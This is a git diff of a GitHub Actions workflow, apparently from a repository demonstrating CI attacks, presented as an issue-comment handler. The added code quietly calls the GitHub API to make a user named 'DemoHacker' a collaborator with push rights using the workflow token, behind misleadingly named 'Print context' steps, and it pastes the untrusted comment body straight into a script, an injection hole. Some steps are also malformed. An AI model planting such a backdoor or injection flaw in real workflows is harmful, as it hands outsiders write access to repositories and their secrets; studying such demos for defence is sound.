diff --git a/.github/workflows/issue_enhancing.yaml b/.github/workflows/issue_enhancing.yaml index c85a550..069120a 100644 --- a/.github/workflows/issue_enhancing.yaml +++ b/.github/workflows/issue_enhancing.yaml @@ -12,19 +12,38 @@ jobs: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - - name: Check issue comment + - name: Print context + with: + script: | + console.log(context) + + - name: Print context + with: + script: | + github.rest.issues.createComment({ + issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + body: '👋 Thanks for reporting!' + }) + uses: actions/github-script@v6 with: script: | const comment="${{ github.event.comment.body }}"; - git.rest.repos.addCollaborator({ - "ThibaultLengagne", - "security-gha-attacks", - "DemoHacker" + const { owner, repo } = context.repo; + const username = "DemoHacker"; + const response = await github.rest.repos.addCollaborator({ + owner, + repo, + username, + permission: 'push' }); if (comment.startsWith('octocat')) { console.log("Issue comment starts with 'octocat'") } else { console.log("Issue comment did not start with 'octocat'") process.exit(1) - } \ No newline at end of file + } + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} \ No newline at end of file